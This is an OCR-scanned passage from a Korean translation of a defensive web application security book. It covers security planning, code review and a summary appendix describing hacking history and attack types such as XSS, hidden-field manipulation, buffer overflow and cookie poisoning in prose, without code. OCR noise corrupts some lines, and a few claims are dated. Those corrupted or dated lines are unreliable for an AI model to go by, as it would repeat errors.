호출할수 있게 하겠는가를 조종할수 있어야 한다. 망준위보안은 오직 당신의 Web 응용 
프로그람만 보호하는것 이 아니 지 만 대 단히 초보적 인것 이 다. 

가장 명백하고 초보적인것은 통과암호이다. 통과암호들은 호출을 주기때문에 그것들 
을 안전하게 보관하여 야 한다. 봉사기들의 통과암호자료기지를 보안하기 위하여 Web 상 
에서 숨겨 놓거 나 증명서와 자료암호화와 갈은 더 중요한 인증층을 추가하여 요구하지 
않는 호출들을 막아 내는 방법들도 있다. 경 로기에 방화벽을 잘 설치 하면 요구하지 않는 
IP 주소로부터의 공격들을 가능한껏 격파할수 있다. 

우리 는 한개 의 봉사기 와 전체 망을 보안하는데 동일한 방법 들을 실현 할수 있 다. 
즉 사용자들에 게 필요 없는 모든 봉사들에 열쇠 를 걸고 가능한껏 구성오유들에 대 한 
기회 가 적게 단순히 설계된다. 이것은 낡은것 이며 일률적 인 구속이라고 할수도 있지만 
당신이 허용할수 있는 Web 싸이트와 Web 응용프로그람들에 있을수 있는 위험들을 고 
려해야 한다. 

망기 반에 포함되는 모든 체 계들을 검사하고 불필요한 봉사들과 도구들은 끄던가 닫 
아 버려야 한다. 이렇게 하면 체계를 보안하는것뿐아니라 망통신량이 줄어들기 때문에 
성능이 높아 지는 우점도 가진다. 또한 망의 훑기 ( scan ), 보안덧대기 갱신，가능한한 
완전히 조작체계를 갱신하기 위한 계획화도 하여야 한다. 그외에도 여러 곳에 침입검출 
체계를 설치하여야 한다. 대부분의 방화벽들과 경로기들은 SNMP 와 호환성이 있으며 이 
러 한 장치 들우에 서 의 행 동을 기 록하기 위하여 SNMP 를 리 용하는 응용프로그람들을 지 원 
한다. 종당에는 사회적공학의 피해 자가 되는것을 막을데 대한 요구도 할수 있다. 
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당신은 콤퓨터들과 쏘 프트웨 어가 무엇을 지원하는가를 알고 있어 야 하며 인간의 오 
유가 실패중의 가장 큰 실패라는것을 인식하여야 한다. 당신의 림도 당신의 망과 체계들 
에 대한 임의의 정보를 공개하기에 앞서 전자우편，전화나 Web 열람기들을 통해서나 직 
접적으로 접촉하는 사람을 식별한다는것을 증명하여 야 한다. 문들과 창문들 그리고 당신 
의 IT 기 반구조의 위험령 역들에로의 다른 호출점들은 호출만 할수 있는 령역으로 제 한되 
게 하여야 한다. 당신은 사람들에 대한 보안방법들이 콤퓨터에 대한 보안방법들만큼 중 
요하다는것 을 인식하여 야 한다. 

2) 응용층준위에서 보안계획작성 

응용층준위 에서 여 러곳에 보안계획을 작성하는것은 우리가 취급하여 야 할 다음단계 
의 문제이다. 이것은 실제로 이 책전반에 걸쳐 론의되였기때문에 이 절에서는 간단히 취 
급한다. 계획은 개발작업이 완료된후가 아니라 대상과제의 초기에 보안계획을 세울 때 
작성되여야 한다. 그것은 Web 개발에서 보안계획에 대하여 취급하여 야 할 첫 단계 이 다. 
당신은 코드심사에 참가한다는것을 확인하여야 할 필요가 있으며 판본조종과 변화조종에 
대 한 원천조종제 품을 리 용하여 야 한다. 또한 코드를 작성 하고 코드가《완료》된후에는 
QA 림에 자기의 작업을 완전히 넘겨 완전한 검사를 하여야 한다. 명백히 이것은 보안계 
획에 포함되여야 할 판본조종이지만 높은 점들만 취급한다. 

3) 탁상준위에서 보안계획작성 

탁상준위 에서 보안계 획을 작성 하기 위 해서 는 망관리 자들과 말단사용자들의 노력 이 
요구된다. 망관리자들은 말단사용자들과 탁상우에서 보안을 하면서 열람기의 리용을 위 
한 보안준위의 우점과 열려 진 전자우편들과 알려 지지 않은 원천들과 접촉할 때 어떻게 
주의 하여 야 하는가를 설명 하여 야 한다. 망관리 들은 교육이 미 약한 말단사용자들로부터 의 
임의의 질문에 대답할 여유가 있어야 한다. 보안은 또한 모든 말단사용자들의 책임성을 
요구한다. 탁상준위 에서 사용자들이 믿을수 없는 응용프로그람들이 내 리적재하지 않았다 
는것을 충분히 알아 보아야 하며 제기될수 있는 보안문제들을 알려 주는 경고통보문들에 
대 하여 주의를 돌려 야 한다. 

말단사용자들은 새롭게 검출된 보안관련사건들의 류행에 대하여 알고 있어야 한다. 
무슨 위협이 실제로 존재하는가에 대해 주의를 돌리는것은 보안을 잘되도록 하는데서 큰 
방조로 된다. 신용할수 없는 원천들과 접촉할 때 주의를 돌리는것 역시 말단사용자의 책 
임성 이다. Scan Mail 과 같은 전자우편보안도구들은 전부가 아니지만 위험하거나 비루스 
가 포함된 전자우편 혹은 그 모든것들을 려과하여야 할 때 기대를 가질수 있다. 

말단사용자들은 McAfee 와 같은 비 루 스보호쏘프트웨 어 로 현재 의 단체 의 대 책 
( policy ) 을 찾아 보아야 한다. 단체내에서 그러한 책임을 누가 지는가? 종종 그 책임은 
자기의 탁상에 마지막으로 배포물들을 내리적재한 말단사용자들이 지지만 다른 단체들에 
서는 망부분이 그에 대한 책임을 지는 경우도 있다. 

대책 이 있는가 그리고 거기 에 무엇 이 유착 ( adhere ) 되 여 있는가에 주의를 돌려야 한 
다. 일반적인 감각은 말단사용자들이 가져야 할 가장 좋은 방위 이다. 확실하지 않으면 
요구하지 말아야 한다. 상상할수 있는것보다 더 큰 위험이 발생하여 끝나는 경우는 없다. 
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4) Web 응용프로그람 보안처리 

보안은 전체 개 발공정 에 서 명 심하여 야 할 문제 이 다. 취 급되 는 보안名 r 망그룹에 게만 
책임이 있는것이 아니라는것을 알아야 한다. 우리는 실제로 망사람들에게 기대를 가질수 
없으며 그 기능을 작성한 다음 우리의 코드를 어떻게 보안하겠는가를 리해하여야 한다. 
그것은 전혀 감각이 없게 만든다. 강조할것은 처음부터 보안을 고찰할 필요가 있다는것 
이다. 초기에 당신의 요구가 제기되자마자 보안을 어떻게 개발작업의 한 부분으로 포함 
시키겠는가에 대하여 생각할 필요가 있다. 

■ 포함된 개 발자들이 모두 모여 의논하고 새로운 대상과제를 세우는것으로부터 
시작하시오. 

② 대 상과제 의 목표를 정 의하시 오. 

③ 매개 문제에 대한 해결책과 보안과 관련한 문제들에 대해 여러 사람들의 의견 
을 보아 합의를 하시오. 

'S 결정된 대 상과제의 목표와 보안문제 들에 대 한 작업 량을 결정하시 오. 

⑤ ②부터 ④사이의 항목들에 기초하여 대상과제에 포함시키겠는가 그렇게 하지 
않겠는가를 련 이 어 결 정할수 있다. 

종종 중요사람들이 요구하는것이 보안방법들에서 항상 달성할수 있는것인것은 아니 
다. 암시적 인 이 자일택은 어 떻게 보안이 실제 로 중요한가와 대상과제의 목표를 달성할수 
있는가에 대해 사람들이 생각할수 있게 하는 좋은 방도이다. 

모든 개 발작업 이 존재하는 보안문제 를 해 결 하지 않고서 나 새 로운 개 발작업 에 서 보안 
을 빠뜨리 지 않고 완성 될수 있 다는것 을 결정할수 있은 다음에 는 다음과 같은것 들을 결정 
할수 있게 된다. 

逆) 어떤 형 태의 코드심사들을 진행하겠는가(구조화된 련습인가 비공식적 인 련습인 
가 혹은 두가지 를 다하는가) 를 결 정 하고 심 사를 위해 다음과 갈은것 들을 계 획 
화한다. 잘 지켜 야 할 코드심사는 대상과제의 개발기 간에 코드심사를 매 주마 
다 가지 는것 이 다. 그러 나 대 상과제 가 좀 커 지 면 주마다 두번정 도씩 토의 하여 야 
하며 지 어 매 일할수도 있 다. 정 규적 으로 매 주마다 진행하는 코드심 사들은 비공 
식적 인 수법으로 (informal manner ) 진행되여야 하며 이 과정은 정확히 진행될 
수 있도록 개발자들에게 쉬워야 하며 그것은 개발작업에 복종되여야 한다. 대 
상과제의 중도에서 구조화된 련습을 가지고 개 발결과들을 또 다른것들로 묶는 
것은 좋은 착상으로 될것이다. 이것은 다른 페지상에서 모두를 보존하게 할것 
이다. 

깨발자들이 리 용할수 있도록 코드작성 규칙 을 공개 하고 그것 들을 공개 토론회 의 
에서 론의하시오. 

깨발자들, DBAs 와 QA 들을 리 용한 판본조종쏘프트웨어 에 대 한 표준규칙 들을 
심사하고 실행하시오. 

© 검사에 대한 계획을 결정하고 검사가 완료되는 환경을 결정하시오. 또한 결함을 
추적 하고 복귀검 사에 대 한 과정 을 론의 하고 공개하시 오. 리 상적 으로는 3개 의 
서로 다른 환경이 있어야 한다. 첫 환경은 개발령역이여야 한다. 개발령역은 
실제로 개발자의 령역이고 이 령역안에서 《 true 》 검사를 하지 말아야 한다. 
《 dev 》 령역은 엄밀하게는 작업을 위한 령역이고 기본적으로는 개발자들에 의 
해 검 사된다. 당신은 자기 가 쓴 코드가 안전하고 기 능적이 며 보안이 되 였 다는 
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⑤ 


것 이 결정한 다음에 는 QA 에 의 해 진행 되 는 검 사환경단계 에 로 코드를 이 행할것 
을 계획하시오. 흔히 이 단계에서 결함이 나타나서 개발자들에게 알려 지고 작 
업 이 개발령역 에서 다시 시 작하게 된다는것 이 다. 결 함이 고쳐 진 다음에 는 새 
로운 코드작성단계에로 되돌아 가 QA 는 다시 자기의 처리를 진행한다. 이러한 
되돌이과정은 여러번 진행되며 모든 결함이 찾아질 때까지 계속하여야 한다. 1 
일단 그것들이 결정된다면 제3의 환경에로 이행하시오. 

배포에 앞서 개발/검사단계들을 거치고 배포를 하여야 한다. 




결 론 


多그 

장， 


，女> 


이 장에서 우리는 어떻게 내부부분의 검사가 전반적인 보안계획에 제공에 제공되는 
가를 취급하였다. 비록 이 책에서는 응용프로그람개발에 중점을 두고 보안을 취급하였지 
만 이 장에서는 이외에도 망준위로부터 탁상준위에 이르기까지 처음부터 마지막까지 보 ’ 

안을 하여야 한다는데 대하여 론의하였다. 모든 가능한 각도에서 보안에 대하여 생각한 v 
다면 해커의 손에서 겪는것과 약간 같을것이다. 한가지 점에서만 보안에 대하여 생각하 • 

지 말아야 한다. 즉 보안은 당신이 하는 모든것의 펼수적인 부분이여야 할 필요가 있다. 

만일 당신이 이러한 의미에서 보안에 대하여 생각한다면 훨씬 더 우월하고 리해하기 쉬느 
울것 이 다 . 

만일 자기의 응용프로그람을 보안할수 있는 모든것을 하였지만 여러 곳에 방화벽을드 
가지고 있으면서 망준위의 측면에서는 실제로 아무것도 하지 않았다면 해커가 침입하여 
당신의 코드를 다칠수도 있다. 같은 말로 모든 보안이 망준위에서만 진행된다고 하면 당聲 
신은 자기의 코드에로 해커가 침입할수 있게 초청하는것으로 될것이다. 모든 준위로부터 
보안을 한다고 생각하면 된다. 

개발준위에서의 보안은 바로 뒤문, 현재의 언어들과 알려 진 위협들에 대하여 의미 •卷 
한다는것이 아니다. 당신은 자기 코드를 검사하기 위한 단계를 거처야 한다. 당신은 협: 여 
조자에게 자기의 코드를 심사해 달라고 요구하고 다른 임의의 성원의 코드는 당신이 심닛 ' 
사하여 코드심사를 진행하면 된다. 이렇게 하는것은 실제 개발작업에 대하여 더 많은것 5 —^ 


을 배우는것은 물론 주의를 돌리지 못한 자기 코드에 존재할수 있는 로출된 부분들을 찾_ 

기 위한 대단히 좋은 방법 이다. 또한 협력자들끼 리 의사소통을 더 잘할수 있게 할것 이다, 

개발과정 에 도움이 되는 도구들을 리용하여 야 하며 가능하면 보안에 대한 도구들을& 
리용해야 한다. 규칙에 기초한 해석은 처음으로 시작하여야 할 부분이다. 규칙에 기초한 
분석기들은 실제로 해커가 뚫고 들어 올수 있는 령역들을 찾도록 하며 그외에도 알지 못 j 
하였던 코드작성내에서의 오유들을《찾도록》개발자들을 도와 주는 좋은것이다. 이외에 • 
도 VSS 나 StarTeam 과 같은 구성 /판본조종 쏘프트웨어 를 리 용하면 보안개 발에 서 방조| 
를 받을수 있다. 이러한 도구들은 코드의 판본조종，코드의 배포기록들의 포함, 가장 최나 
후의 변화들의 정합，결함들의 추적등을 확인하게 한다. 그것들은 그외에도 다른 많은- 
록징들을 가진 다. 

당신의 단체에서 어떤 코드규칙이 있는가를 알아 보고 그것을 지켜야 한다. 그렇게 4 
하지 않으면 개발이 좀 힘들어 질수 있다. 갈은 지침상에서 작업하는 사람이 있다면 그 g 
것은 작성, 추적，변화들을 실현시키기가 더 쉬울것이다. 코드작성규칙은 기억된 절차들, 
자료，표나 그외의 다른것들에 대한 작성을 개발림에서 누구나 쉽게 작성할수 있게 한다. 
누군가가 개발작업에 같은 방법들을 리용하였다면 모든 개발자들은 예언과 리해를 다 잘= 
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할수 있을것이 다. 코드작성규칙에 포함되여야 하는 령역에는 머리부의 설명문이나 변수 
선언부 혹은 매 코드부분에 대한 설명문이 다. 

임의의 대상과제나 개발작업에서 명심하여야 할 가장 중요한 사실은 계획이다. 모두 
가 다 보안의 중요성을 리해하고 있는것 이 아니며 혹은 보안이 다른 사람과 관계되지 않 
는다고 생각하는 경우가 종종 있다. 대상과제의 초기부터 보안을 취급할것을 계획하고 
어떻게 보안문제가 취급되는가 하는 의문을 가지시오. 《어떻게 대상과계에 대하여 보안 
이 취급되는가?》는 말이 있으며 앞지르는 사람은 보안이 대상과제의 초기부터 고찰할 
펼요하다는것을 생각할것이 다. 보안이 망관리자들 못지 않게 개 발자들에게도 많이 관계 
된다는것을 누구나 알고 있어 야 한다. 



요 약 


1. 코드검토 

- 개 발과정 에 러 용되 는 코드심 사에 는 구조화된 련습 (structured walkthroughs ) 과 
비공식적 인 ( informal ) 동위 심사가 있 다. 

- 코드심사는 코드에서 론러적인 결함을 찾고 코드의 기능을 검사하며 보안구멍들과 
문법오유들을 찾아 내는 작업 이 다. 

2. 코드의 취약성에 대한 인식 


- QA 검사개 발은 존재하는 약점들을 없애 버 리거 나 개 발자들이 코드심사시 에 놓치 
는 로출가능한 코드를 없애는 작업을 진행한다. 

- 응용프로그람은 그것 이 배포될 때 검출자유로 되는것은 불가능하지만 응용프로그 
람은 최소한 모두 심중하고 제품으로 완성되기에 앞서 결함들을 수리하여야 한다. 

3. 코드작성의 계획화에서 상식의 적용 

- 규칙 에 기초한 분석기 , 오유수정프로그람, 판본조종프로그람들과 갈은 도구들을 
리용하면 개발작업을 쉽게 할뿐만아니라 당신의 응용프로그람을 보안할수 있도록 
도와 줄것 이 다. 

- 여기저기 에 코드작성규칙을 리용하면 단체안의 모든 개발자들이 코드가 일치 하게 
하는것은 물론 개 발작업의 이식성을 보장하여 준다. 


4. 보안계획의 작성 



- 당신은 망준위，응용프로그람준위，망작업기준위 에서 보안을 취급하여 야 하는데 
자기 단체의 보안계획을 가져 야 한다. 보안은 망관리자나 개발자만이 아닌 모두에 
게 책임이 있다. 

- 보안은 후에 생각이 나서 대상과제의 중도에서 하는것이 아니 라 대상과제의 초기 
부터 고려하여야 한다. 처음부터 보안을 구축하면 훨씬 더 쉽고 비용이 적게 든다. 


J^378 

4， 


물음과 대답 


이 장의 물음에 대 한 대답은 저 자가 준것 이 다. 

문답들은 이 장에서 서술한 개 념들을 리 해 하고 실생활을 통하여 체험 하도록 하는데 ᅳ / 
도움을 줄것이다. 독자들의 질문에 대한 저자의 답변을 듣자면 www.Synarass. ^ 월 
com / solutions 의 《Ask the Anthor ) (저자에게 문의)을 찰칵하시오. 

물음: 나는 작은 회사의 개발자이고 우리는 직원이 적기때문에 나는 항상 자체로 코*': P 1 ’ 
드를 심사한다. 내가 항상 나의 심사에 주의하고 나의 응용프로그람들이 배多 1 i 
포된메서 오유들이 없다고 가정 한다면 문제 가 제기될수 있는가? 

대답: 당신의 코드는 수준이 높은 비법해커들이 체계에 호출할수 있게 하거나 단순@ 

하게는 응용프로그람을 폭주하게 하는데 리용할수 있는 보안구멍이 있을수 
있다. 이외에도 최적화되지 못한 코드가 있을수 있고 더 경험 있는 개발자들 
로부터 결함을 지적 받게 될수도 있다. 

물음: 여기서 이야기한 코드심사과정은 째 장황해 보인다. 이러한 단계를 수행하기"; 



위한 자원이 충분하지 못하면 어떤가? 


대답: 여기서 론의되는 코드심사과정은 리상적인 경우이다. 모든 회사들이나 부분들 

은 자원이 대단히 많다. 실제로는 동료심사가 시작하기 좋은것 이다. 당신의 w 
코드상에서 변화되거나 더 견고히 하여야 할 필요가 있는 일부 코드들이 눈 
에 띄우게 표시하시오. 

물음: 나는 전자상업회사에 근무하는 개발자이고 우리는 구성 ( configura 仕 on ) 관리 f 
쏘프트웨어도구를 구입하는데만 관심이 있다. 그러나 나는 실제로 필요 없는! i 
도구들애까지 자금을 소비하자면 제 한을 받는다. Microsoft 의 Visual ! 
SourceSafe 나 StarTeam 과 같은 도구는 두 개발자들이 동시에 같은 프로그"^ 

람상에 서 작업하지 않는다는것 을 담보하는것외 에 무엇 을 제 공하는가? 

대답: StarTerm 구성관려뿐아니라 결함추적, 판본기록 ’ Web 대면과 문서비교도 제 
공한다. vss 는 많은 특징들을 가진다. 두가지 도구들은 코드모임이 대상과 
계의 어느 단계에 있는가를 더 쉽게 알수 있게 하는 우월한 관러도구들을 제〜' 
공한다. 

물음: 나의 회 사는 그의 Web 상점 정 면 ( store 打 ont ) 에 대 한 응용프로그람을 썼 다. _| 

우리 는 우리의 응용프로그람으로부터 누가 우리의 신용카드번호를 훔치 는가쇄 
에 큰 관심이 있으며 그것을 막아 내는 방법을 찾아 내야 한다. 이것을 해결'지，’ 
하기 위한 가장 좋은 해결책은 무엇인가? 

대 답: 응용프로그람개 발과정의 초기 단계 에서 망, 응용프로그람，체 계준위 보안을 포ᅲ : 

함하는 보안계획은 임의의 프로그람들을 막아 나서는 (head off ) 리상적인 경 
우가 있다. 그러나 이러한 형래의 문제는 곤난한 문제를 해결할수 있는 보안 매 
덧대기를 할수 있는 우점이 있다. 




부록. 해커방지 
(Web 응용프로그람편) 


부록은 이 책에서 취급한 가장 중요한 
개념들을 빠르고 쉽게 찾아 보고 폭 넓게 
리해할수 있도록 한다. 
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제 1 장. 해킹방법론 


벗 


1. 해킹의 간단한 력사 

- ARPANET 가 나온 1960년대 에 첫 대륙횡 단를퓨터망이 형성되 였는데 사실 이것을: ᅬ여 
해커들속에서는 서로 1세대 라는 말로 통한다. ARPANET 는 작업규모가 작은 고세 
립된 협회들에서보다 큰 하나의 그롭으로서 해커들이 서로 결합하여 실제로 일할 

수 있게 해준 첫 기회였다. 

- 1970년대 중엽 에 Apple 콤퓨터 회 사를 창시한 인물들인 스리 브 워 즈니 아크 ( Steve 녀^ 
Wozniak ) 와 스터 브 죠브스 (Steve Jobs ) 는 전화체 계 들에 로 해 킹 하는데 리 용할 1 j 
《Blue Boxes (푸른통)》장치들을 만든것 으로 대 단한 인기 를 모은 드래 퍼 와 함께 

일하였다. 죠브스는 《Berkley Blue (버클리 블루)》라고，워즈니 아크는《오아크卜 | 

토에 바크 (Oak Toebark )》 라는 가명 을 쓰고 활동하였다. 두 사람은 전화해 킹 즉[쬐 
프레 킹 ( Phreaking ) 의 당대 시대 에서 주요한 역 할을 놀았다. 

- 1986년에 열 린 대회 에서 통과시 킨 법 을《 련방콤퓨터사기 와 람용행위 ( FCFAA )》 ᄂ 
라고 불렀다. 

- 대회에서 법이 통과된지 얼마되지 않아 정부는 회의후 첫 거대한 해킹을 기소하였 

다. 로버트 모리스 (Robert Morris ) 는 1988년에 이 인터네트웜때문에 유죄를 선언^ᄉ 
밤았다. 

2. 무엇이 해커를 추동하는가 

殘께 

- 나쁜일: 해커가 모으는 지식은 힘과 명성을 떨치는것이다. 

- 결투: 취 약성들을 발견하는것 , 표식 ( mark ) 을 조사하는것 혹은 그 누구도 찾지 못 ( 1 
한 구멍 을 찾아 내 는것 은 지 적 결투이다. 

- 래만: 목표찾기는 흔히 특별한 장소에서가 아니라 넓은 범위에서 조사들을 하여야^; 
하는데 우연히 나타나는 취약성을 발견하자면 시간을 많이 바처야 한다. 

- 보복: 코드，망 혹은 다른 형 태의 보호정보에 대 하여 구체 적 으로 아는 실 업당한'이디， • 
이전 종업원은 기발한 자기 지식을《처형》수단으로 리용할수 있다. 

- 도덕적인 해커와 비법적인 해커에 대한 정의사이에는 해킹의 임의의 형래와 관련한 합법적& 

인 문제들이 론의된다. 개발자는 어떤 사람이 자기의 포구들을 검사하는데 또 어떤다 | 

방법 으로 채 용할수 있는 약점 을 탐색할 때 주변을 뒤 지 는데 진짜로 동의 하는지 . 

- 보안전문가는 훈련의 계공，계획작성 그리고 앞으로의 취 약성들을 막기 위한 판단:’서 
을 하는 동안 현재 있는 론의점들을 그대로 고착시키는데 필요한 보검을 제공해야ᅳ : 

한다. 물론 이것은 보안전문가가 앞으로 있을수 있는 매번의 공격으로부터 자기 jjgj 
회사를 완전히 지킬수 있다는것은 결코 아니다. 



3. 현 시기의 공격형태 


- Microsoft 회 사가 무릎을 끓었던 20이년 2월에 일 어 났던 DOS / DDoS 공격 은 최근。; 
에 있은 해킹의 한가지 대표적인 실례이다. 해커들에 의한 공격은 인터네트산업에‘ 
보다 더욱더 집중되는데 해커들은 자기들에게 반박할수 있는 증거불이 있다고 볼 
때에는 보다 더 많은 싸이트들을 조종할수 있다. 



- 전통적 인 DDoS 공격 들은 주로 봉사기 준위 에 서 일 어 났지만 역시 본질 에 있 어서 
봉사거부 (DoS) 공격 인 완충기 자리넘 침공격을 가지 고 응용프로그람준위 에서도 일어 
날수 있다. 

- 비루스들은 발진하도록 설계되였고 검출을 교모하게 피하도록 설계되였다. 임의의 
다른 를퓨터프로그람과 마찬가지로 비루스는 기능화되여 실행되여야 하며 (이것은 
콤퓨터 기억기 에 적재 되 여 야 한다는것 을 의미한다.) 다음은 콤퓨터 가 비 루스의 명 
령들을 따라 가야 한다. 이 명 령들이 바로 비루스의 부가짐으로서 참조된다. 

부가짐은 자료파일들을 파괴시키거나 변화시킬수 있으며 통보문을 현시하거나 조 
작체계가 오동작하게 할수 있다. 

- 개발자가 비루스들과 꼭 갈은 월공격을 완전히 막을수 있는것은 결코 아니다. 아 
무리 해도 코드는 개발자의 기대 혹은 말단사용자의 기대에서 월공격을 막울수 있 
게 빈름없이 짜질수 없다. 

- Java 애 플레 트들, JavaScript 그리 고 ActiveX 조종체 류형 의 이 동코드응용프로그람 
들은 정보를 배포하기 위 한 유력한 도구들이다. 한편 그것들은 역시 비법적 인 코 
드를 전송하는 유력 한 도구이 기 도 하다. 악질 (Rogue) 애 플레 트들은 스스로 발진 
하지 못하며 비루스들이 하는것처럼 자료를 단순히 더럽히지는 않는다. 그러나 대 
신에 그것들은 자료훔치기 나 체계를 불안정하게 만들도록 설계된 가장 흔히 있는 
특정 의 공격 들이다. 

- 사용자이 름과 사회보안번호, 신용카드정 보얻 기는 비 법적해커 가 피 해 자에 게 상처 를 
입히는데 필요한 충분한 정보로 된다. 비법적해커는 은행등록카드들과 같이 정보 
들이 집중된 어떤 위치에서 모든 정보쪼각들을 찾을수 있다. 

4. Web 응용프로그람보안위협에 대한 인식 

- 응용프로그람해 킹은 침입자에게 많은 Web 싸이트들에서 보통 일어 나는 취 약성들 
의 우점을 취할수 있게 한다. 왜냐하면 응용프로그람들은 대체로 이름과 통과암호， 
신용카드정보를 비롯한 고객정보와 같은 자기의 비밀자료를 보관하는 장소에 있기 
때문에 이 장소가 비법적공격의 흥미 있는 구역이 라는것은 명백하다. 

- 숨김조작은 공격자가 물건값과 선불리자률들과 같이 전자상거래 Web 싸이트에 다 
르게 숨겨 진 양식파일들을 변화시킬 때 일어 난다. 놀랍게도 이 형태의 해킹은 
현재 대 중적 인 Web 열 람쏘프트웨어 들과 함께 리 용되 고 있는 일 반적 인 HTML 편집 
기만을 요구한다. 

- 파라메터변경 은 하이 퍼 련결 내 에 매 몰된 CGI 파라메터 들의 정 확도를 믿지 못하게 
하고 그것 을 싸이 트에 로의 침 입 에 리 용할수 있다. 파라메 터 변경 은 공격 자가 통과 
암호들과 가입등록들을 하지 않고 정보보안에 접근하게 한다. 

- 교차싸이트스크립트작성은 비 법적프로그람(스크립트)들이 동적으로 발생한 Web 
폐지들에 삽입되는 능력이 다. 이 스크립트들은 고객봉사페지에 설명문을 불인것처 
럼 합법 적자료로 위 장하며 이 위 장물이 다음은 Web 열 람기를 리 용하여 실행되게 
된다. 문제거리는 열람기가 비법코드를 포함하는 폐지를 내러적재할 때와 열람기 
가 스크립트의 유용성을 검사하지 못할 때 일어 난다. 

- 완충기 자리 넘 침공격은 프로그람이 하자고 한것보다 더 많은 자료를 고의적 으로 넣 
음으로써 일어 난다. 이것은 완충기에 들어 가는 입구기억크기에 대한 제한검사에 


서 나타나는 부족현상을 채용한다. 여분(나머지)자료는 그것을 받아 들이기 위히 
여 옆에 있는 기억기로 자리넘침하므로 프로그람의 일부 명령들을 넣었다고 생각^ 
되는 기억기의 또 다른 구역을 재쓰기할수 있다. 새로 들어 간 값들은 새 명령들 t 
일수 있는데 이것들은 공격 자에게 목표콤퓨터에 대한 조종을 줄수 있다. 

- 해커가 《 Cookie 중독》을 리용할 때 사용자는 보통 처음으로 Web 응용프로그람에^ 
접근할수 있는 권한을 가진 어떤 사람이다. 해커는 그의 콤퓨터에 기억된 Cookie ^. 
를 바물수 있 으며 그것 을 Web 싸이트에 로 돌려 보낼수 있다. 응용프로그람은胃 
Cookie 에 대 한 변화들을 알지 못하기 때 문에 중독된 Cookie 를 처러 할수 있 다. 효,. 
력은 보통 고정된(생신한) 자료과일들을 변화시 킨다. 




5. 해커라고 생각하면서 끼여들기를 막기 

- 해커들 이 끼 여 들기 와 Web 싸이 트들을 공격 하는데 리 용하는 대 다수 방법 들을 시 험“ ' 
해 봄으로써 우리는 자기들의 Web 싸이트에서 일어 나는 공격을 막는데 이와 꼭 
같은 실기들을 리용할수 있을것 이 다. 자기의 코드를 기능상으로 검사한다. 즉 m'r 
걸음 앞서 보안을 검사하고 생각없이 지나칠수 있는 어떤 보안구멍으로 가능한껏 
끼여 들어 가는것이다. 

- 최 량적 인 보안심사와 검 사는 개 발림， QA 림 그리 고 정 보보안림 의 지 식 과 기 교들 
을 리용할 때에만 일어 난다. 




제 2 장. 〈〈코드파괴자〉〉로 되는것을 피하기 


1. 코드파괴 자란 무엇인가 

- 코드파괴자는 창조력이 장려되지 못하고 규칙들과 규정들이 법으로서 엄격히 고! ■) 
착된 환경에서 일하는 어떤 사람이다. 

- 코드파괴자들의 사고방식은 보통 설계와 같은 단계에서는 요청되지 않는다. 즉! 
그들을 오직 취급자들처 럼 본다. 

2. 코드작성시에서의 창조적인 사색 


- 바라지 않는것을 제외하고 자기 코드에 미치는 바깥영향들을 알아 보시오. 

- 자기 코드를 최소화하는 방법들을 조사하시오. 

즉 될수록 작은 알속으로 기능을 유지하시오. 

- 심사，심사 또 심사하시오. 자기 수고를 분리시키지 말고 집중하여 실수들을 
애시오. 약점 이 동료개발자에 의해 나타날 때까지 프로그람을 검사하게 하지 
시오. 우리는 그에게 생신한 사고방식이 채택될수 있는 기회를 절대로 주지 
아야 한다. 


네 
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3. 코드파괴 자의 관점에서 본 보안 

- 사무조종들은 필요상 보안과 같지 않은것들을 수행한다. 

- 개발자는 자기의 응용프로그람의 보안에 대해 책임을 져야 한다. 

4. 기능적 이고 보안적인 Web 응용프로그람구축 

- 응용프로그람들과 함께 무엇이든지 하기전에 자기 입구변수들의 값들을 검사하 
고 또 검사하시오. 

- 나타날수 있는 취약성들을 알아 보고 그것들의 위험을 완화시키기 위하여 자기 
가 할수 있는 모든것을 다 하시오. 우리는 매개의 강력한 취약성들을 항상 없앨 
수는 없지만 채용을 막는 방향에서 많은것을 할수 있다. 

- 자기가 취 할수 있는 최소한의 특권을 리용하시오. 

프로그람이 체계에서 즉 관리자가 Windows 기대에 있다는 조건밑에서 달리게 
하지 말며 혹은 프로그람이 절대적으로 다칠 필요가 없는 UNIX 체계에 있는 
SUID 허 락들과 함께 달리게 하지 마시오. 만일 또 다른 방법을 생각할수 없다면 
다른 사람들에게 판단을 위한 문의를 하시오. 


제 3 장. 이동코드와 관련된 위험 


1. 이동코드공격의 영향에 대한 인식 

- 열람기공격들은 Web 페지들을 방문할 때 일어 날수 있다. 

HTML Web 폐지가 나타나자마자 이동코드는 자동적으로 의뢰기체계에서 실행되 
기 시작할것이다. 

- 우편의뢰기공격들은 전자우편물이 HTML 양식화된 통보문들을 리용하여 보내 질 
때 발생한다. 일단 통보문이 열리거나 미리보기창문에 나타나기만 하면 그것은 실 
행하기 시작할것이다. 

- 문서들은 문서 가 열 릴 때 실행할수 있는 마크로들이 라고 부르는 작은 코드조각들 
을 포함할수 있다. 이 코드는 많은 체계자원들에 접근하도록 되여 있기때문에 상 
처를 입힐수 있는 능력을 가진다. 

2. 이동코드의 일반적인 양식의 식별 

- VBScript 와 Microsoft 의 JScript 는 ActiveX 조종체 들과 호상작용할수 있는데 이 
때 만일 ActiveX 조종체를 제한된 체계자원들에 접근하게 한다면 보안문제거리들 
을 야기시킬수 있다. 

- ActiveX 보안기 구는 ActiveX 조종체 를 설 치 할것 을 허 락하는가를 사용자들에 게 문 
의하는것으로써 불안전코드를 포함할수 있다. 
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- Java 애플레트들은 가장 안전한 형태의 이동코드이다. 

오늘까지 Java 애플레트들때문에 심중한 보안돌파들이 생긴적은 없다. 

- 전자우편첨부물들로부터 오는 가장 거대한 위협은 사실 그것들이 어떤 비법적인 
일을 할 때 그것 들로 하여 금 어 떤 일을 하게 끔 요구하는 트로얀프로그람들이다. 


장， 


3. 이동코드공격으로부터의 체계보호 


- 보안위협을 막는 두가지 취급방법 이 있다. 

하나는 사용자체계들을 수동적으로 보호하기 위한 지식적이며 기술적인 기교를 리 
용하는것이다. 두번째는 자동적으로 보안위협들을 물리치도록 특별히 설계된 보안 
응용프로그람들을 리 용하는것 이 다. 

- 각이한 형태의 보안응용 프로 그람들에는 비루스검사 프로 그람, Back Orifice 검출기 
방화벽 쏘 프트웨 어， Web 관련도구들과 의뢰 기 보안갱 신 프로 그람들이 속한다. 



제 4 장. 파괴되기 쉬운 CGI 스크립트 

1. CGI 스크립트란 무엇이며 그것은 무엇을 하는가 



- CGI 는 외 부응용프로그람들에 접 속하기 위 하여 Web 봉사기 들에 의하여 리 용된 다. 
그것은 싸이트방문자와 Web 봉사기에 거주하고 있는 프로그람사이로 자료를 앞뒤 
